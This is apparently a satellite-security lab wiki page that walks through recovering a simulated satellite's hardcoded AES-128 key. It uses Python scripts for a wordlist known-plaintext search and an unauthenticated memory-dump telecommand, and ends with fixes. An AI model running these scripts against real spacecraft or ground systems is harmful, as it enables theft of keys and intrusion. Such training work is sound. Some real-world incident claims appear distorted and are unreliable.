Repository navigation
05 AES Key Recovery
Position & access: Same ground-segment LAN foothold (see the Home page), from
sat-attacker(10.10.0.10), with reachability to both10.10.0.2(satellite) and10.10.0.3(mission-control).
Recover the satellite's hardcoded AES-128 encryption key using two independent methods:
- Method A, Known-plaintext attack: CCSDS headers have known structure → brute-force against a wordlist in < 1 second.
-
Method B, Memory dump exploit: Send an unauthenticated
MEMORY_DUMPTC; the satellite replies with the raw key bytes from firmware address0x1000, unicast directly back to whoever asked.
The satellite uses AES-128 in CBC mode with a null IV (\x00 × 16) and a hardcoded
key (SATKEY1234567890).
These are two of the most common cryptographic implementation errors in embedded satellite firmware:
| Error | Why it's fatal |
|---|---|
| Hardcoded key | Extractable from firmware dumps; never rotated |
| Null IV | CBC loses semantic security, same plaintext → same first ciphertext block |
| CBC without authentication | No integrity; malleable (bit-flip attacks possible) |
| 128-bit key in 2024+ | Should be AES-256 at minimum for long-lived satellites |
Lab note: ISS TM is transmitted in plaintext (unencrypted). Method A applies to scenarios where the downlink is encrypted, e.g. a hypothetical NOAA-15 AES mode or any real satellite that encrypts TM with this same weak key + null IV pattern. In this lab you can verify the attack works against the key before recovering it via Method B.
Every CCSDS TM packet starts with a 6-byte primary header of known structure:
Byte 0: 0x08 (TM type=0, sec_hdr=1, APID high bits for HK/POS/ATT)
Byte 1: APID low byte: 0x01 (HK), 0x02 (POS), 0x03 (ATT)
Byte 2: 0xC0..0xFF (seq_flags bits 7-6 = 0b11)
With CBC mode and IV = \x00 × 16:
decrypted_block_0 = AES_decrypt(key, ciphertext_block_0) XOR IV
= AES_decrypt(key, ciphertext_block_0) # since IV = 0x00…
So we decrypt the first 16 bytes of ciphertext with each candidate key and check if the result looks like a valid CCSDS header.
Run this from sat-attacker, using pycryptodome (already installed on the Kali image).
known_plaintext_attack() is the reusable attack function; since ISS TM in this lab is
plaintext rather than genuinely encrypted, the script also captures one live packet and
encrypts it with each candidate key first, to confirm the key round-trips correctly, exactly
what a real assessment does once it has a genuine ciphertext sample:
python3 - <<'EOF'
from Crypto.Cipher import AES
from ccsds_scapy import CCSDSHeader
from scapy.all import sniff, UDP, Raw
NULL_IV = b"\x00" * 16
KEY_WORDLIST = [
b"SATKEY1234567890",
b"satellite123456\x00",
b"noaa15key1234567",
b"groundstation123",
b"defaultkey123456",
b"1234567890abcdef",
b"spacecraft123456",
]
def known_plaintext_attack(ciphertext: bytes):
for key in KEY_WORDLIST:
cipher = AES.new(key, AES.MODE_CBC, iv=NULL_IV)
plain = cipher.decrypt(ciphertext[:16])
hdr = CCSDSHeader(plain)
if hdr.version == 0 and hdr.pkt_type == 0 and hdr.sec_hdr_flag == 1:
return key
return None
captured = []
def grab(pkt):
if pkt.haslayer(UDP) and pkt[UDP].dport == 7000 and pkt.haslayer(Raw):
captured.append(bytes(pkt[Raw]))
sniff(iface="eth0", filter="udp port 7000", prn=grab, count=1)
plaintext = captured[0]
for key in KEY_WORDLIST:
ct = AES.new(key, AES.MODE_CBC, iv=NULL_IV).encrypt(plaintext[:16])
pt = AES.new(key, AES.MODE_CBC, iv=NULL_IV).decrypt(ct)
if pt == plaintext[:16]:
print(f"KEY VERIFIED: {key}")
print(f"Hex: {key.hex()}")
break
EOFKEY VERIFIED: b'SATKEY1234567890'
Hex: 5341544b455931323334353637383930
Speed: With a 7-entry wordlist this completes in under a millisecond. Even a 100 000-entry wordlist runs in under a second on modern hardware.
The satellite firmware stores the AES key at a known address: 0x1000 (16 bytes).
The MEMORY_DUMP function code (0x04) reads arbitrary memory and unicasts the raw bytes
straight back to whoever sent the request, no authentication, no source check, no
confirmation step.
The satellite doesn't broadcast the dump or log it out-of-band for later collection, it
replies with a direct UDP packet addressed to the exact source IP:port the request arrived
from. That works cleanly for a host with real reachability to the TT&C subnet, exactly the
position established on the Home page, because there's no
NAT boundary rewriting the source address in either direction. If you tried this same request
through a NAT'd jump link instead, the reply would go to whatever address the request
appeared to originate from at the satellite's side of that boundary, not back to you. Running
this from sat-attacker, a real host directly on satnet, sidesteps that entirely, which is
also a realistic constraint: a genuine ground-segment compromise puts an attacker inside the
network the TT&C traffic actually flows on, not behind a translated link.
python3 - <<'EOF'
import socket
from ccsds_scapy import build_tc
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(("0.0.0.0", 0)) # OS picks a local port; the satellite replies to it directly
sock.settimeout(5.0)
# addr=0x1000, length=16 (the full AES-128 key)
args = bytes.fromhex("00001000") + bytes.fromhex("0010")
pkt = build_tc(seq=1, fn_code=0x04, args=args)
sock.sendto(pkt, ("10.10.0.2", 7001))
dump, src = sock.recvfrom(4096)
sock.close()
print(f"Got UDP response from {src}: {dump.hex()}")
print(f"ASCII: {dump.decode('ascii', errors='replace')}")
EOFGot UDP response from ('10.10.0.2', 55449): 5341544b455931323334353637383930
ASCII: SATKEY1234567890
One request, one reply, the full key, in the clear, from an unauthenticated telecommand.
docker logs satellite-sim corroborates the same event server-side, but it isn't required to
carry out the attack, the dump comes back over the wire directly:
[ISS] MEMORY DUMP 0x1000+16: 5341544b455931323334353637383930
Once the key is recovered by either method, decode a live telemetry packet with it (against
a hypothetically-encrypted downlink, using the shared decode_tm() helper once decrypted):
python3 - <<'EOF'
from Crypto.Cipher import AES
from ccsds_scapy import decode_tm
def decrypt_packet(key: bytes, ciphertext: bytes) -> bytes:
cipher = AES.new(key, AES.MODE_CBC, iv=b"\x00" * 16)
return cipher.decrypt(ciphertext)
key = bytes.fromhex("5341544b455931323334353637383930")
plain = decrypt_packet(key, ciphertext) # ciphertext = your captured encrypted TM packet
print(decode_tm(plain))
EOF{'apid': 1, 'seq': 42, 'type': 'TM', 'mode_name': 'NOMINAL', 'battery_soc': 87, 'temperature_c': 20.0, ...}
[✓] Hardcoded AES-128 key trivially brute-forced from wordlist
[✓] CBC + null IV: no semantic security (deterministic encryption)
[✓] MEMORY_DUMP provides direct key exfiltration via UDP unicast, no auth, no log access needed
[✓] Key never rotated: valid for entire satellite lifetime
[✓] No integrity check (no AEAD): ciphertext is malleable
Turla APT (Kaspersky, 2015): Russian intelligence used satellite uplinks with hardcoded, static encryption keys to communicate with malware C2 servers. Keys were extracted from firmware updates distributed over unencrypted HTTP.
NOAA-15 (2018-present): The satellite's attitude control computers lost momentum wheel telemetry. Had operators needed to send emergency recovery commands, the absence of authenticated uplinks would have been a critical risk.
Alleged Chinese SATCOM intercepts (2007): NASA OIG reported that attackers achieved "full functional control" of two NASA satellites by exploiting unauthenticated ground station links. Commands with hardcoded credentials were replayed.
| Control | Fix |
|---|---|
| No hardcoded keys | Use a hardware security module (HSM) or secure boot key provisioning |
| Replace CBC | Use AES-256-GCM (provides both encryption + authentication) |
| Random IV per packet | Never reuse IV; store IV as a packet field |
| Disable MEMORY_DUMP | Remove the command entirely from production firmware |
| Key rotation | Rotate session keys on every ground station contact pass |
| Apply SDLS | CCSDS Security Data Link Services (355.0-B-2), standard for satellite crypto |
| # | Attack | Access needed | Result |
|---|---|---|---|
| 1 | Recon + CCSDS decode | L2/L3 reachability only | Full TM decoded, no credentials needed |
| 2 | Passive eavesdropping | L2/L3 reachability only | All packets captured, pcap saved |
| 3 | Command injection | L2/L3 reachability only | Full satellite control, 5 attacks accepted |
| 4 | Replay attack | L2/L3 reachability only | Old command accepted again unchanged |
| 5 | AES key recovery | L2/L3 reachability only | Key recovered via wordlist and via direct exfiltration |
All 5 attacks succeed from the same starting position, one unauthenticated host on the ground segment LAN, because the satellite has no authentication, no encryption integrity, no sequence validation, and no key management, vulnerabilities that mirror documented real-world satellite security failures.
Orbital Exploit
Attack Guides